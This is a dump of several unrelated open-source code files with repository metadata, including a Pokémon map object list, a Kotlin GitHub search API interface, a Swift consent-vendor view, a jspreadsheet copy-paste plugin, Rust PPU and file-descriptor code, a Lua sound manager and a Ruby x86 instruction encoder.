object SPRITE_ERIKA, 17, 30, WALK, 2, 10 ; person
object SPRITE_GENTLEMAN, 30, 12, STAY, DOWN, 11 ; person
object SPRITE_BIRD, 31, 12, STAY, DOWN, 12 ; person
object SPRITE_ROCKER, 18, 8, STAY, UP, 13 ; person
object SPRITE_ROCKET, 18, 22, STAY, DOWN, 14 ; person
object SPRITE_ROCKET, 19, 22, STAY, DOWN, 15 ; person
; warp-to
warp_to 7, 5, SAFFRON_CITY_WIDTH ; COPYCATS_HOUSE_1F
warp_to 26, 3, SAFFRON_CITY_WIDTH ; FIGHTING_DOJO
warp_to 34, 3, SAFFRON_CITY_WIDTH ; SAFFRON_GYM
warp_to 13, 11, SAFFRON_CITY_WIDTH ; SAFFRON_PIDGEY_HOUSE
warp_to 25, 11, SAFFRON_CITY_WIDTH ; SAFFRON_MART
warp_to 18, 21, SAFFRON_CITY_WIDTH ; SILPH_CO_1F
warp_to 9, 29, SAFFRON_CITY_WIDTH ; SAFFRON_POKECENTER
warp_to 29, 29, SAFFRON_CITY_WIDTH ; MR_PSYCHICS_HOUSE
| 37.423077 | 59 | 0.72816 |
95f908e678b2b80ed24bcac1323d9eeb339cc4a7
| 626 |
kt
|
Kotlin
|
app/src/main/java/com/laurenyew/githubbrowser/repository/networking/api/GithubApi.kt
|
laurenyew/GithubBrowser
|
2694154be1bc21b745b2e8bc02393145a3b13108
|
[
"MIT"
] | null | null | null |
app/src/main/java/com/laurenyew/githubbrowser/repository/networking/api/GithubApi.kt
|
laurenyew/GithubBrowser
|
2694154be1bc21b745b2e8bc02393145a3b13108
|
[
"MIT"
] | null | null | null |
app/src/main/java/com/laurenyew/githubbrowser/repository/networking/api/GithubApi.kt
|
laurenyew/GithubBrowser
|
2694154be1bc21b745b2e8bc02393145a3b13108
|
[
"MIT"
] | null | null | null |
package com.laurenyew.githubbrowser.repository.networking.api
import com.laurenyew.githubbrowser.repository.networking.api.responses.SearchGithubReposResponse
import io.reactivex.Single
import retrofit2.http.GET
import retrofit2.http.Query
/**
* Retrofit interface for Github API (https://developer.github.com/v3/)
*/
interface GithubApi {
@GET("/search/repositories")
fun searchRepos(
@Query("q") query: String,
@Query("sort") sortType: String = "stars",
@Query("order") order: String = "desc",
@Query("per_page") numItemsPerPage: Int = 3
): Single<SearchGithubReposResponse>
}
| 32.947368 | 96 | 0.722045 |
a189683eaaf18d97a5191e372015b63126f62e03
| 117 |
go
|
Go
|
pkg/model/logstore/doc.go
|
iggy/tilt
|
0824dd0856f98c8c55aeb3c2a29a069e215697fb
|
[
"Apache-2.0"
] | 3,283 |
2018-09-04T17:19:56.000Z
|
2020-05-15T13:19:43.000Z
|
pkg/model/logstore/doc.go
|
iggy/tilt
|
0824dd0856f98c8c55aeb3c2a29a069e215697fb
|
[
"Apache-2.0"
] | 1,437 |
2020-05-15T14:03:08.000Z
|
2022-03-31T20:19:11.000Z
|
pkg/model/logstore/doc.go
|
iggy/tilt
|
0824dd0856f98c8c55aeb3c2a29a069e215697fb
|
[
"Apache-2.0"
] | 110 |
2018-12-13T17:05:41.000Z
|
2020-05-07T20:29:04.000Z
|
// A central logstore.
//
// Motivation and spec:
// https://github.com/tilt-dev/tilt.specs/pull/19
package logstore
| 19.5 | 49 | 0.717949 |
af17761e5d8a6a69f531846362596634bcbf72d7
| 2,563 |
swift
|
Swift
|
framework/FidzupCMP/UI/CMPConsentToolVendorsViewController.swift
|
Fidzup/fidzup-gdpr-cmp-ios
|
d2fc704daf56f37a3f9cf57ab2062463bbd0db15
|
[
"CC-BY-3.0"
] | null | null | null |
framework/FidzupCMP/UI/CMPConsentToolVendorsViewController.swift
|
Fidzup/fidzup-gdpr-cmp-ios
|
d2fc704daf56f37a3f9cf57ab2062463bbd0db15
|
[
"CC-BY-3.0"
] | null | null | null |
framework/FidzupCMP/UI/CMPConsentToolVendorsViewController.swift
|
Fidzup/fidzup-gdpr-cmp-ios
|
d2fc704daf56f37a3f9cf57ab2062463bbd0db15
|
[
"CC-BY-3.0"
] | null | null | null |
//
// CMPConsentToolVendorsViewController.swift
// FidzupCMP
//
// Created by Thomas Geley on 25/04/2018.
// Copyright © 2018 Smart AdServer.
//
// This software is distributed under the Creative Commons Legal Code, Attribution 3.0 Unported license.
// Check the LICENSE file for more information.
//
import UIKit
/**
Consent tool vendors view controller.
*/
internal class CMPConsentToolVendorsViewController: CMPConsentToolBaseViewController {
// MARK: - UI Elements
static let VendorCellIdentifier = "vendorCell"
// MARK: - Consent Tool Manager
weak var consentToolManager: CMPConsentToolManager?
// MARK: - View lifecycle
override func viewDidLoad() {
super.viewDidLoad()
self.title = self.consentToolManager!.configuration.consentManagementScreenVendorsSectionHeaderText
}
// MARK: - Table view data source
override func numberOfSections(in tableView: UITableView) -> Int {
return 1
}
override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
return self.consentToolManager!.activatedVendorCount
}
override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
let cell = tableView.dequeueReusableCell(withIdentifier: CMPConsentToolVendorsViewController.VendorCellIdentifier, for: indexPath) as! CMPVendorTableViewCell
// Fill cell with vendor info
if let consentToolManager = self.consentToolManager {
let vendor = consentToolManager.activatedVendors[indexPath.row]
cell.vendorNameLabel.text = vendor.name
cell.vendorActiveSwitch.isOn = consentToolManager.isVendorAllowed(vendor)
cell.vendorActiveSwitchCallback = { (switch) -> Void in
consentToolManager.changeVendorConsent(vendor, consent: cell.vendorIsActive)
}
}
cell.accessoryType = .disclosureIndicator;
return cell
}
// MARK: - Navigation
override func prepare(for segue: UIStoryboardSegue, sender: Any?) {
let vendorController:CMPConsentToolVendorViewController = segue.destination as! CMPConsentToolVendorViewController
vendorController.consentToolManager = self.consentToolManager
if let consentToolManager = self.consentToolManager, let selectedRow = self.tableView.indexPathForSelectedRow?.row {
vendorController.vendor = consentToolManager.activatedVendors[selectedRow]
}
}
}
| 35.597222 | 165 | 0.710496 |
4a3f95870ac1ae52a8e931091819e574683f5790
| 22,451 |
js
|
JavaScript
|
plugins/JSSV8/src/copypaste_advanced/index.js
|
Guillaume-Bo/jexcel-plugins-and-editors
|
5c2ff9e1de823e4e6839eea27dcd7c0d36704f29
|
[
"MIT"
] | 8 |
2020-08-27T18:33:37.000Z
|
2021-02-14T09:45:34.000Z
|
plugins/JSSV8/src/copypaste_advanced/index.js
|
Guillaume-Bo/jspreadsheet-plugins-and-editors
|
336b1ec1717769a114a9b55f76a7f0e55988ed58
|
[
"MIT"
] | 4 |
2021-05-04T19:31:58.000Z
|
2022-01-04T10:30:13.000Z
|
plugins/JSSV8/src/copypaste_advanced/index.js
|
Guillaume-Bo/jexcel-plugins-and-editors
|
5c2ff9e1de823e4e6839eea27dcd7c0d36704f29
|
[
"MIT"
] | null | null | null |
/**
* Plugin copy paste advance for jSpreadsheet
*
* @version 3.0.0
* @author Guillaume Bonnaire <contact@gbonnaire.fr>
* @website https://repo.gbonnaire.fr
* @description upgrade copy paste function for work with clipboard permission denied or error
* and add button on toolbar copy/cut/paste
*
* @license This plugin is distribute under MIT License
*
* ReleaseNote
* 3.0.0 : version for v8
* 2.1.0 : add topmenu compatibility
* 2.0.1 : transform jexcel to jspreadsheet
* 2.0.0 : compatibility NPM + add special paste (paste only value, paste only style, paste style from clipboard)
*/
if (! jspreadsheet && typeof(require) === 'function') {
var jspreadsheet = require('jspreadsheet-pro');
}
;(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() :
typeof define === 'function' && define.amd ? define(factory) :
global.jss_copypaste_advanced = factory();
}(this, (function () {
return (function(instance, options) {
// check Version of JSS
if(parseInt(jspreadsheet.version().version.split(".")[0]) < 8) {
console.error("Plugin \"Copy paste advanced\" not compatible with jspreadsheet " + jspreadsheet.version().version + ", Please use an older version of this plugin compatible. Go to https://github.com/GBonnaire/jspreadsheet-plugins-and-editors/");
return {};
}
// Plugin object
var plugin = {};
// Set options
plugin.options = Object.assign({},options);
// Options
var defaultOptions = {
allow_pastestyle: true,
text_paste_special: jSuites.translate("Paste special"),
text_paste_only_style: jSuites.translate("Paste only format"),
text_paste_only_value: jSuites.translate("Paste only value")
}
// Set default value
if(plugin.options==null) {
plugin.options = {};
}
for(var property in defaultOptions) {
if (!plugin.options.hasOwnProperty(property) || plugin.options[property]==null ) {
plugin.options[property] = defaultOptions[property];
}
}
plugin.init = function(worksheet) {
// Init for each worksheet
}
/**
* Run on the context menu
*/
plugin.contextMenu = function(obj, x, y, e, items, section, a1, a2) {
var flag_found_paste = false;
var position_copy = -1;
for(var ite_items in items) {
var item = items[ite_items];
if(item.title == jSuites.translate("Paste")) {
item.onclick = function() {
if (obj.selectedCell) {
plugin.paste();
}
}
flag_found_paste = true;
break;
}
if(item.title == jSuites.translate("Copy")) {
position_copy = parseInt(ite_items);
}
}
if(!flag_found_paste && position_copy!=-1 && (jspreadsheet.dataCopied || (navigator && navigator.clipboard))) {
// Add paste after copy
var item_paste = {
title: jSuites.translate("Paste"),
icon: "content_paste",
shortcut: 'Ctrl + V',
onclick: function() {
if (obj.selectedCell) {
if(plugin.options.allow_pastestyle) {
plugin.paste();
} else {
plugin.pasteOnlyValue();
}
}
}
}
items.splice(position_copy+1, 0, item_paste);
}
if(plugin.options.allow_pastestyle && position_copy!=-1 && (jspreadsheet.styleCopied || (navigator && navigator.clipboard))) {
var item_paste_special = {
title: plugin.options.text_paste_special,
submenu: [
{
title: plugin.options.text_paste_only_value,
onclick: function() {
if(obj.selectedCell) {
plugin.pasteOnlyValue();
}
}
},
{
title: plugin.options.text_paste_only_style,
onclick: function() {
if(obj.selectedCell) {
plugin.pasteOnlyStyle();
}
}
}
]
};
items.splice(position_copy+2, 0, item_paste_special);
}
return items;
}
plugin.topMenu = function(name, items, menuButton, shortcut_base) {
if(name=="Edit") {
var flag_found_paste = false;
var position_copy = -1;
for(var ite_items in items) {
var item = items[ite_items];
if(item.title == jSuites.translate("Paste")) {
item.onclick = function() {
if (jspreadsheet.current.selectedCell) {
plugin.paste();
}
}
flag_found_paste = true;
break;
}
if(item.title == jSuites.translate("Copy")) {
position_copy = parseInt(ite_items);
}
}
if(!flag_found_paste && position_copy!=-1 && (jspreadsheet.dataCopied || (navigator && navigator.clipboard))) {
// Add paste after copy
var item_paste = {
title: jSuites.translate("Paste"),
icon: 'content_paste',
shortcut: shortcut_base+' V',
onclick: function() {
if (jspreadsheet.current.selectedCell) {
if(plugin.options.allow_pastestyle) {
plugin.paste();
} else {
plugin.pasteOnlyValue();
}
}
}
}
items.splice(position_copy+1, 0, item_paste);
}
if(plugin.options.allow_pastestyle && position_copy!=-1 && (jspreadsheet.styleCopied || (navigator && navigator.clipboard))) {
var item_paste_special = {
title: plugin.options.text_paste_special,
submenu: [
{
title: plugin.options.text_paste_only_value,
onclick: function() {
if(jspreadsheet.current.selectedCell) {
plugin.pasteOnlyValue();
}
}
},
{
title: plugin.options.text_paste_only_style,
onclick: function() {
if(jspreadsheet.current.selectedCell) {
plugin.pasteOnlyStyle();
}
}
}
]
};
items.splice(position_copy+2, 0, item_paste_special);
}
}
return items;
}
/**
* Run on toolbar
*/
plugin.toolbar = function(toolbar) {
var item_paste = {
type: 'i',
content: 'content_paste',
onclick: function() {
if (jspreadsheet.current.selectedCell) {
plugin.paste();
}
}
}
var item_cut = {
type: 'i',
content: 'content_cut',
onclick: function() {
if (jspreadsheet.current.selectedCell) {
jspreadsheet.current.copy(true);
}
}
}
var item_copy = {
type: 'i',
content: 'content_copy',
onclick: function() {
if (jspreadsheet.current.selectedCell) {
jspreadsheet.current.copy();
}
}
}
for(var ite_items in toolbar.items) {
var item = toolbar.items[ite_items];
if(item.content == "redo") {
toolbar.items.splice(parseInt(ite_items)+1, 0, item_paste);
toolbar.items.splice(parseInt(ite_items)+1, 0, item_copy);
toolbar.items.splice(parseInt(ite_items)+1, 0, item_cut);
break;
}
}
return toolbar;
}
plugin.onevent = function(event) {
if(event=="oncopy") {
jspreadsheet.dataCopied = arguments[3];
var obj = arguments[1];
var coords = arguments[2];
if(plugin.options.allow_pastestyle && obj.options.style) {
var xStart = parseInt(coords[0]);
var yStart = parseInt(coords[1]);
var xEnd = parseInt(coords[2]);
var yEnd = parseInt(coords[3]);
var style = [];
for(var y=yStart; y<=yEnd; y++) {
var rowStyle = [];
for(var x=xStart; x<=xEnd; x++) {
var cellName = jspreadsheet.helpers.getColumnNameFromCoords(x, y);
rowStyle.push(obj.options.style[cellName]);
}
style.push(rowStyle);
}
jspreadsheet.styleCopied = style;
} else {
jspreadsheet.styleCopied = null;
}
}
}
/**
* copy function
* @param {type} cut
* @returns {undefined}
*/
plugin.copy = function(cut) {
if(jspreadsheet.current) {
return jspreadsheet.current.copy(cut);
}
}
/**
* paste function
* @returns {undefined}
*/
plugin.paste = function(onlyValue) {
if(onlyValue==null) {
onlyValue = false;
}
var x1 = parseInt(jspreadsheet.current.selectedCell[0]);
var y1 = parseInt(jspreadsheet.current.selectedCell[1]);
if (navigator && navigator.clipboard) {
navigator.clipboard.read().then(function(data) {
data[0].getType("text/plain").then(function(item) {
var res = new Response(item).text().then(function(text) {
if(onlyValue || !plugin.options.allow_pastestyle) {
var bordersCopying = jspreadsheet.current.borders.copying;
jspreadsheet.current.borders.copying = null;
}
if(text) {
jspreadsheet.current.paste(x1, y1, text);
}
if(onlyValue || !plugin.options.allow_pastestyle) {
jspreadsheet.current.borders.copying = bordersCopying;
}
});
return res;
});
if(plugin.options.allow_pastestyle && !onlyValue) {
data[0].getType("text/html").then(function(item) {
var res = new Response(item).text().then(function(text) {
pasteStyleFromClipboard(text);
});
return res;
});
}
}).catch(function(err) {
if (jspreadsheet.dataCopied) {
if(onlyValue || !plugin.options.allow_pastestyle) {
var bordersCopying = jspreadsheet.current.borders.copying;
jspreadsheet.current.borders.copying = null;
}
jspreadsheet.current.paste(x1, y1, jspreadsheet.dataCopied);
if(onlyValue || !plugin.options.allow_pastestyle) {
jspreadsheet.current.borders.copying = bordersCopying;
}
}
if(plugin.options.allow_pastestyle && !onlyValue && !jspreadsheet.current.borders.copying && jspreadsheet.styleCopied) {
plugin.pasteOnlyStyle();
}
});
} else if (jspreadsheet.dataCopied) {
if(onlyValue || !plugin.options.allow_pastestyle) {
var bordersCopying = jspreadsheet.current.borders.copying;
jspreadsheet.current.borders.copying = null;
}
jspreadsheet.current.paste(x1, y1, jspreadsheet.dataCopied);
if(onlyValue || !plugin.options.allow_pastestyle) {
jspreadsheet.current.borders.copying = bordersCopying;
}
if(plugin.options.allow_pastestyle && !onlyValue && !jspreadsheet.current.borders.copying && jspreadsheet.styleCopied) {
plugin.pasteOnlyStyle();
}
}
}
/**
* pasteStyle
* @returns {undefined}
*/
plugin.pasteOnlyStyle = function() {
var styleToCopy = null;
if(jspreadsheet.current.borders.copying) {
var selectedCell = [jspreadsheet.current.borders.copying.x1, jspreadsheet.current.borders.copying.y1, jspreadsheet.current.borders.copying.x2, jspreadsheet.current.borders.copying.y2];
if(jspreadsheet.current.options.style) {
var xStart = parseInt(selectedCell[0]);
var yStart = parseInt(selectedCell[1]);
var xEnd = parseInt(selectedCell[2]);
var yEnd = parseInt(selectedCell[3]);
var style = [];
for(var y=yStart; y<=yEnd; y++) {
var rowStyle = [];
for(var x=xStart; x<=xEnd; x++) {
var cellName = jspreadsheet.helpers.getColumnNameFromCoords(x, y);
rowStyle.push(jspreadsheet.current.options.style[cellName]);
}
style.push(rowStyle);
}
styleToCopy = style;
}
} else if (navigator && navigator.clipboard) {
navigator.clipboard.read().then(function(data) {
data[0].getType("text/html").then(function(item) {
var res = new Response(item).text().then(function(text) {
pasteStyleFromClipboard(text);
});
return res;
});
});
} else {
styleToCopy = jspreadsheet.styleCopied;
}
if(styleToCopy) {
var x = parseInt(jspreadsheet.current.selectedCell[0]);
var y = parseInt(jspreadsheet.current.selectedCell[1]);
var styleToApply = {};
for(var ite_row=0; ite_row<styleToCopy.length; ite_row++) {
var rowStyle = styleToCopy[ite_row];
for(var ite_col=0; ite_col<rowStyle.length; ite_col++) {
var style = rowStyle[ite_col];
var cellName = jspreadsheet.helpers.getColumnNameFromCoords(x+ite_col, y+ite_row);
styleToApply[cellName] = style;
}
}
jspreadsheet.current.setStyle(styleToApply,null, null, true);
}
}
/**
* pasteStyle
* @returns {undefined}
*/
plugin.pasteOnlyValue = function() {
plugin.paste(true);
}
/**
* paqteStyle
* @param {type} html
* @returns {undefined}
*/
function pasteStyleFromClipboard(html, worksheet) {
if(worksheet == null) {
worksheet = jspreadsheet.current;
}
if(typeof html == "string") {
var wrapper = document.createElement('div');
wrapper.innerHTML = html;
html = wrapper;
}
var table = html.querySelector("table");
var styleToApply = {};
if(table) {
var x = parseInt(jspreadsheet.current.selectedCell[0]);
var y = parseInt(jspreadsheet.current.selectedCell[1]);
var style = html.querySelector("style");
var collectionTR = table.querySelectorAll('tbody tr');
for(var ite_tr=0; ite_tr<collectionTR.length; ite_tr++) {
var tr = collectionTR[ite_tr];
var collectionTD = tr.querySelectorAll('td');
for(var ite_td=0; ite_td<collectionTD.length; ite_td++) {
var td = collectionTD[ite_td];
if(style) {
var styleTD = getStyleElement(td, style.innerHTML);
} else {
var styleTD = getStyleElement(td, null);
}
var cellName = jspreadsheet.helpers.getColumnNameFromCoords(x+ite_td, y+ite_tr);
styleToApply[cellName] = styleTD;
}
}
worksheet.setStyle(styleToApply,null, null, true);
}
}
/**
* getStyle Element from class
* @param {type} DOMElement
* @param {type} styleList
* @returns {String}
*/
function getStyleElement(DOMElement, styleList) {
if(DOMElement.style.cssText) {
var styleResults = DOMElement.style.cssText+";";
} else {
var styleResults = "";
}
if(styleList) {
for(var ite_class=0; ite_class<DOMElement.classList.length; ite_class++) {
var className = DOMElement.classList[ite_class];
var regExpStyle = new RegExp("\\."+className+"\\s*{([^}]+)}", "gm");
var styleComponent = regExpStyle.exec(styleList);
if(styleComponent) {
styleComponent = styleComponent[1];
styleComponent = styleComponent.replace(/\s+/gm, " ");
styleResults += styleComponent;
}
}
}
return styleResults;
}
/**
* override events paste for add pasteStyleFromClipboard
* @type jspreadsheet.pasteControls
*/
if(plugin.options.allow_pastestyle) {
var BasedPasteControls = jspreadsheet.events.paste;
jspreadsheet.pasteControls = function(e) {
BasedPasteControls(e);
if (jspreadsheet.current && jspreadsheet.current.selectedCell) {
if (!jspreadsheet.current.edition) {
if (e && e.clipboardData && e.clipboardData.types && e.clipboardData.getData) {
if (((e.clipboardData.types instanceof DOMStringList) && e.clipboardData.types.contains("text/html")) || (e.clipboardData.types.indexOf && e.clipboardData.types.indexOf('text/html') !== -1)) {
var pasteData = e.clipboardData.getData('text/html');
pasteStyleFromClipboard(pasteData);
}
} else {
if (window.clipboardData && window.clipboardData.types && window.clipboardData.getData) {
if (((window.clipboardData.types instanceof DOMStringList) && window.clipboardData.types.contains("text/html")) || (window.clipboardData.types.indexOf && window.clipboardData.types.indexOf('text/html') !== -1)) {
var pasteData = window.clipboardData.getData('text/html');
pasteStyleFromClipboard(pasteData);
}
}
}
}
}
}
}
return plugin;
});
})));
| 43.258189 | 258 | 0.435036 |
7fcc7275d7ee81af408fcf772a8acef727e2ef4c
| 1,700 |
rs
|
Rust
|
src/ppu/mask_register/spec_tests.rs
|
planet-s/rs-nes
|
d6e15726b30b17736df990762165d541b43394b7
|
[
"MIT"
] | 4 |
2017-10-11T14:52:14.000Z
|
2021-11-08T12:30:42.000Z
|
src/ppu/mask_register/spec_tests.rs
|
planet-s/rs-nes
|
d6e15726b30b17736df990762165d541b43394b7
|
[
"MIT"
] | null | null | null |
src/ppu/mask_register/spec_tests.rs
|
planet-s/rs-nes
|
d6e15726b30b17736df990762165d541b43394b7
|
[
"MIT"
] | 1 |
2022-03-16T18:22:22.000Z
|
2022-03-16T18:22:22.000Z
|
use ppu::mask_register::MaskRegister;
#[test]
fn background_render_leftmost_8_px() {
let reg = new_mask_register(0b00000000);
assert_eq!(false, reg.background_render_leftmost_8_px());
let reg = new_mask_register(0b00000010);
assert_eq!(true, reg.background_render_leftmost_8_px());
}
#[test]
fn sprites_render_leftmost_8_px() {
let reg = new_mask_register(0b00000000);
assert_eq!(false, reg.sprites_render_leftmost_8_px());
let reg = new_mask_register(0b00000100);
assert_eq!(true, reg.sprites_render_leftmost_8_px());
}
#[test]
fn show_background() {
let reg = new_mask_register(0b00000000);
assert_eq!(false, reg.show_background());
let reg = new_mask_register(0b00001000);
assert_eq!(true, reg.show_background());
}
#[test]
fn show_sprites() {
let reg = new_mask_register(0b00000000);
assert_eq!(false, reg.show_sprites());
let reg = new_mask_register(0b00010000);
assert_eq!(true, reg.show_sprites());
}
#[test]
fn emphasize_red() {
let reg = new_mask_register(0b00000000);
assert_eq!(false, reg.emphasize_red());
let reg = new_mask_register(0b00100000);
assert_eq!(true, reg.emphasize_red());
}
#[test]
fn emphasize_green() {
let reg = new_mask_register(0b00000000);
assert_eq!(false, reg.emphasize_green());
let reg = new_mask_register(0b01000000);
assert_eq!(true, reg.emphasize_green());
}
#[test]
fn emphasize_blue() {
let reg = new_mask_register(0b00000000);
assert_eq!(false, reg.emphasize_blue());
let reg = new_mask_register(0b10000000);
assert_eq!(true, reg.emphasize_blue());
}
fn new_mask_register(val: u8) -> MaskRegister {
MaskRegister { reg: val }
}
| 24.637681 | 61 | 0.708235 |
dfe9d4a003e46d50b50cc01b194e674b4a5e9262
| 2,318 |
lua
|
Lua
|
extensions/sound/init.lua
|
Luke100000/3DreamEngine
|
77dd382b6bb890e174f9175870db636415b835fa
|
[
"MIT"
] | null | null | null |
extensions/sound/init.lua
|
Luke100000/3DreamEngine
|
77dd382b6bb890e174f9175870db636415b835fa
|
[
"MIT"
] | null | null | null |
extensions/sound/init.lua
|
Luke100000/3DreamEngine
|
77dd382b6bb890e174f9175870db636415b835fa
|
[
"MIT"
] | null | null | null |
local soundManager = {
paths = { },
sounds = { },
maxSounds = 16,
}
--reverb effects
for i = 1, 10 do
love.audio.setEffect("reverb_" .. i, {
type = "reverb",
decaytime = i / 2,
density = 0.5,
})
end
--add a directory to the sound library
local supportedFileTypes = table.toSet({"wav", "mp3", "ogg", "oga", "ogv", "flac"})
function soundManager:addLibrary(path, into)
for d,s in ipairs(love.filesystem.getDirectoryItems(path)) do
if love.filesystem.getInfo(path .. "/" .. s, "directory") then
self:addLibrary(path .. "/" .. s, (into and (into .. "/") or "") .. s)
else
local ext = (s:match("^.+(%..+)$") or ""):sub(2)
if supportedFileTypes[ext] then
soundManager.paths[(into and (into .. "/") or "") .. s:sub(1, #s-#ext-1)] = path .. "/" .. s
end
end
end
end
--TODO remove sorting
local sort = function(n1, n2)
return n1:tell() < n2:tell()
end
function soundManager:play(name, position, volume, pitch, echo, muffle)
assert(self.paths[name], "sound not in library")
if not self.sounds[name] then
local path = self.paths[name]
local s = love.audio.newSource(path, "static")
self.sounds[name] = {s}
assert(s:getChannelCount() == 1, path .. " is not a mono source!")
end
--sort sounds
table.sort(self.sounds[name], sort)
--take the best sound
local sound
if self.sounds[name][1] and not self.sounds[name][1]:isPlaying() then
sound = self.sounds[name][1]
elseif #self.sounds[name] < self.maxSounds then
sound = self.sounds[name][1]:clone()
self.sounds[name][#self.sounds[name]+1] = sound
else
sound = self.sounds[name][#self.sounds[name]]
end
--muffle filter
local filter = muffle and muffle > 0 and {
type = "lowpass",
volume = 1.0,
highgain = 1.0 - muffle * 0.999,
} or nil
--deactivate effetcs
for _,e in ipairs(sound:getActiveEffects()) do
sound:setEffect(e, false)
end
--echo
if echo and echo > 0 then
local i = math.min(10, math.max(1, math.ceil(echo * 10)))
sound:setEffect("reverb_" .. i, filter)
else
sound:setFilter(filter)
end
--launch the sound!
sound:setVolume(volume or 1)
sound:setPitch(pitch or 1)
sound:seek(0)
if position then
sound:setRelative(false)
sound:setPosition(position:unpack())
else
sound:setRelative(true)
sound:setPosition(0, 0, 0)
end
sound:play()
end
return soundManager
| 24.924731 | 96 | 0.655306 |
9f96435fc99680a4c8ac9ee418b6d927e4927167
| 48 |
rs
|
Rust
|
crates/nu-plugin/src/serializers/mod.rs
|
arthur-targaryen/engine-q
|
f7f8b0dbff5bfe0e8c59c340e4cfe78f8f672027
|
[
"MIT"
] | null | null | null |
crates/nu-plugin/src/serializers/mod.rs
|
arthur-targaryen/engine-q
|
f7f8b0dbff5bfe0e8c59c340e4cfe78f8f672027
|
[
"MIT"
] | null | null | null |
crates/nu-plugin/src/serializers/mod.rs
|
arthur-targaryen/engine-q
|
f7f8b0dbff5bfe0e8c59c340e4cfe78f8f672027
|
[
"MIT"
] | null | null | null |
pub mod call;
pub mod signature;
pub mod value;
| 12 | 18 | 0.75 |
afbc4f2f1303b99968079e053d5dccc61dd34267
| 2,638 |
rb
|
Ruby
|
lib/fisk/instructions/vcmpsd.rb
|
jeremyevans/fisk
|
f72dda7f3114484248b878f4bba50b1cf6c6dc95
|
[
"Apache-2.0"
] | 264 |
2021-02-24T20:14:51.000Z
|
2022-03-30T06:53:40.000Z
|
lib/fisk/instructions/vcmpsd.rb
|
jeremyevans/fisk
|
f72dda7f3114484248b878f4bba50b1cf6c6dc95
|
[
"Apache-2.0"
] | 11 |
2021-06-02T19:28:59.000Z
|
2021-11-14T00:43:11.000Z
|
lib/fisk/instructions/vcmpsd.rb
|
jeremyevans/fisk
|
f72dda7f3114484248b878f4bba50b1cf6c6dc95
|
[
"Apache-2.0"
] | 7 |
2021-03-01T09:55:01.000Z
|
2022-03-27T15:52:51.000Z
|
# frozen_string_literal: true
class Fisk
module Instructions
# Instruction VCMPSD: Compare Scalar Double-Precision Floating-Point Values
VCMPSD = Instruction.new("VCMPSD", [
# vcmpsd: k{k}, xmm, m64, imm8
Form.new([
OPERAND_TYPES[71],
OPERAND_TYPES[24],
OPERAND_TYPES[18],
OPERAND_TYPES[1],
].freeze, [
Class.new(Fisk::Encoding) {
def encode buffer, operands
add_EVEX(buffer, operands)
add_opcode(buffer, 0xC2, 0) +
add_modrm(buffer,
0,
operands[0].op_value,
operands[2].op_value, operands) +
add_immediate(buffer, operands[3].op_value, 1) +
0
end
}.new.freeze,
].freeze).freeze,
# vcmpsd: xmm, xmm, xmm, imm8
Form.new([
OPERAND_TYPES[26],
OPERAND_TYPES[24],
OPERAND_TYPES[24],
OPERAND_TYPES[1],
].freeze, [
Class.new(Fisk::Encoding) {
def encode buffer, operands
add_VEX(buffer, operands)
add_opcode(buffer, 0xC2, 0) +
add_modrm(buffer,
3,
operands[0].op_value,
operands[2].op_value, operands) +
add_immediate(buffer, operands[3].op_value, 1) +
0
end
}.new.freeze,
].freeze).freeze,
# vcmpsd: xmm, xmm, m64, imm8
Form.new([
OPERAND_TYPES[26],
OPERAND_TYPES[24],
OPERAND_TYPES[18],
OPERAND_TYPES[1],
].freeze, [
Class.new(Fisk::Encoding) {
def encode buffer, operands
add_VEX(buffer, operands)
add_opcode(buffer, 0xC2, 0) +
add_modrm(buffer,
0,
operands[0].op_value,
operands[2].op_value, operands) +
add_immediate(buffer, operands[3].op_value, 1) +
0
end
}.new.freeze,
].freeze).freeze,
# vcmpsd: k{k}, xmm, xmm, {sae}, imm8
Form.new([
OPERAND_TYPES[71],
OPERAND_TYPES[24],
OPERAND_TYPES[24],
OPERAND_TYPES[72],
OPERAND_TYPES[1],
].freeze, [
Class.new(Fisk::Encoding) {
def encode buffer, operands
add_EVEX(buffer, operands)
add_opcode(buffer, 0xC2, 0) +
add_modrm(buffer,
3,
operands[0].op_value,
operands[2].op_value, operands) +
add_immediate(buffer, operands[4].op_value, 1) +
0
end
}.new.freeze,
].freeze).freeze,
].freeze).freeze
end
end
| 28.989011 | 79 | 0.5163 |
01f51ad3e5c727a89a649024f028612fe75d04dd
| 3,225 |
rs
|
Rust
|
src/fd.rs
|
codeprentice-org/fanotify
|
f3c64ed7f05a5b56f579ba1e6d286ede03e9c16a
|
[
"MIT"
] | 7 |
2020-10-31T04:56:50.000Z
|
2021-11-06T19:35:36.000Z
|
src/fd.rs
|
codeprentice-org/fanotify
|
f3c64ed7f05a5b56f579ba1e6d286ede03e9c16a
|
[
"MIT"
] | 2 |
2020-11-21T23:16:37.000Z
|
2021-02-19T20:41:45.000Z
|
src/fd.rs
|
codeprentice-org/fanotify
|
f3c64ed7f05a5b56f579ba1e6d286ede03e9c16a
|
[
"MIT"
] | null | null | null |
use std::cmp;
use std::fmt;
use std::fmt::Display;
use std::fmt::Formatter;
use std::io;
use std::mem;
use std::os::raw::c_void;
use std::os::unix::io::AsRawFd;
use std::os::unix::io::FromRawFd;
use std::os::unix::io::IntoRawFd;
use std::os::unix::io::RawFd;
use std::path::Path;
use std::path::PathBuf;
use nix::errno::Errno;
use crate::libc::call::libc_call;
/// A wrapper around an open [`RawFd`] file descriptor with RAII semantics
/// and generic file descriptor related functions
/// like [`read`](FD::read) and [`write`](FD::write).
#[derive(Eq, PartialEq, Hash, Debug)]
pub struct FD {
fd: RawFd,
}
impl Drop for FD {
fn drop(&mut self) {
// Note that errors are ignored when closing a file descriptor. The
// reason for this is that if an error occurs we don't actually know if
// the file descriptor was closed or not, and if we retried (for
// something like EINTR), we might close another valid file descriptor
// opened after we closed ours.
let _ = unsafe { libc::close(self.fd) };
}
}
impl AsRawFd for FD {
fn as_raw_fd(&self) -> RawFd {
self.fd
}
}
impl IntoRawFd for FD {
fn into_raw_fd(self) -> RawFd {
let fd = self.fd;
mem::forget(self); // need to skip closing the fd
fd
}
}
impl FromRawFd for FD {
unsafe fn from_raw_fd(fd: RawFd) -> Self {
Self { fd }
}
}
impl FD {
/// Check if the file descriptor is at least possibly valid, i.e. non-negative.
///
/// If this returns `false`, then the file descriptor is definitely invalid.
///
/// If this returns `true`, then the file descriptor might be valid.
